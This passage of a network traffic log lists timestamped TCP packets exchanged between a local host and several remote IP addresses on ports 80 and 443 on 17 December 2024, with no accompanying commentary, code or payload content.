Dec 17, 2024 22:06:36.540535927 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.541414976 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.541474104 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.560954094 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.561018944 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.561022043 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:36.561077118 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:36.561114073 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.561175108 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.561187983 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:36.561203003 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.561232090 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.561234951 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:36.561245918 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:36.561264038 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.561273098 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:36.561290979 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.561327934 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:36.561361074 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.561403036 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:36.561465025 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.561635017 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:36.677614927 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.677654028 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.677719116 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.677990913 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.678203106 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.678250074 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.678359985 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.679310083 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.679363966 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.679500103 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.680578947 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.680628061 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.680655003 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.680668116 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.680712938 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.680737972 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:36.681026936 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.681121111 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.681129932 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.681144953 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.681169033 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:36.681214094 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.681222916 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:36.681258917 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:36.681426048 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.681557894 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.681600094 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.682502985 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.682722092 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.682770014 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.683537960 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.684046030 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.684103966 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.684604883 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.684706926 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.684756041 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.685658932 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.685828924 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.685879946 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.686768055 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.686914921 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.686964989 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.686990023 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.687973022 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.687998056 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.688045025 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.688872099 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.689269066 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.689316988 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.689939022 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.690664053 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.690712929 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.691024065 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.691143036 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.691186905 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.692060947 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.692105055 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.692109108 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.693139076 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.693182945 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.693192959 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.694205999 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.694257021 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.694273949 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.694926977 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.695370913 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.695650101 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.695700884 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.696346998 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.696491957 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.696542025 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.697436094 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.697523117 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.697580099 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.698523998 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.698780060 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.698832035 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.699559927 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.699614048 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.699662924 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.699817896 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.700649977 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.700772047 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.700828075 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.701738119 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.701796055 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.702092886 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.702157021 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.702759981 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.702922106 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.702977896 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.703887939 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.703963995 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.704030991 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.704896927 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.704973936 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.705106020 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.705163002 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.705961943 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.706222057 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.706276894 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.707026958 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.707130909 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.707212925 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.707257986 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.708095074 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.708158970 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.708542109 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.708622932 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.709202051 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.709310055 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.709373951 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.709419012 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.710238934 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.710299969 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.710380077 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.710424900 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.711287975 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.711357117 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.711441040 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.711484909 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.712340117 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.712403059 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.712460041 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.712512970 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.713438988 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.713496923 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.713627100 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.713680029 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.714540958 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.714811087 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.714873075 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.715563059 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.715783119 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.716111898 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.716245890 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.716630936 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.716667891 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.716686964 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.716711044 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.717678070 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.717732906 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.717734098 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.717778921 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.718825102 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.718929052 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.718967915 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.719016075 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.719819069 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.719877958 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.719947100 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.720005989 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.720870972 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.720923901 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.720992088 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.721143007 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.721941948 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.721997976 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.722064018 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.722114086 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.723016024 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.723067045 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.723189116 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.723248005 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.724081993 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.724138975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.724257946 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.725187063 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.725209951 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.725245953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.725256920 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.725284100 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.726242065 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.726351976 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.726399899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.726429939 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.726458073 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.726531982 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:36.727250099 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.727310896 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.727771044 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.728058100 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.728353024 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.728401899 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.728513956 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.728583097 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.729461908 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.729650021 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.729693890 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.730469942 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.730927944 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.731245995 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.731339931 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.731683969 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.731719017 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.731736898 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.731770992 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.732597113 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.732651949 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.732718945 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.732764959 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.819401979 CET	49837	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:36.819519997 CET	443	49837	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:36.819628954 CET	49837	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:36.819955111 CET	49837	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:36.819989920 CET	443	49837	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:36.842451096 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.842950106 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:36.875998020 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.876132965 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.876183033 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.876354933 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.876524925 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.876643896 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.876693010 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.876794100 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.876846075 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.877696991 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.877758026 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.878145933 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.878204107 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.878819942 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.878854990 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.878909111 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.879854918 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.879916906 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.879986048 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.880217075 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.880932093 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.881073952 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.881321907 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.881377935 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.881963015 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.882014990 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.882019043 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.882057905 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.883060932 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.883297920 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.883356094 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.884082079 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.884351969 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.884412050 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.885154963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.885253906 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.885582924 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.886301041 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.886337042 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.886351109 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.886423111 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.886468887 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.886785984 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.887329102 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.887391090 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.887532949 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.887579918 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.888360023 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.888421059 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.888487101 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.888694048 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.889484882 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.889543056 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.889658928 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.889714003 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.890496016 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.890551090 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.890605927 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.890650034 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.891568899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.892301083 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.892307997 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.892348051 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.892592907 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.892649889 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.892728090 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.892776966 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.893698931 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.893752098 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.893754959 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.893855095 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.894783974 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.894853115 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.894968033 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.895843983 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.895904064 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.895984888 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.896915913 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.896976948 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.897005081 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.897953033 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.898000002 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.898395061 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.898442030 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.899058104 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.899153948 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.899485111 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.900088072 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.900095940 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.900125027 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.900135040 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.900171041 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.901156902 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.901209116 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.901292086 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.901341915 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.902240038 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.902285099 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.902349949 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.902399063 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.903332949 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.903386116 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.903462887 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.903515100 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.904377937 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.904469013 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.904489040 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.904515982 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.905416012 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.905467987 CET	80	49825	31.41.244.11	192.168.2.4
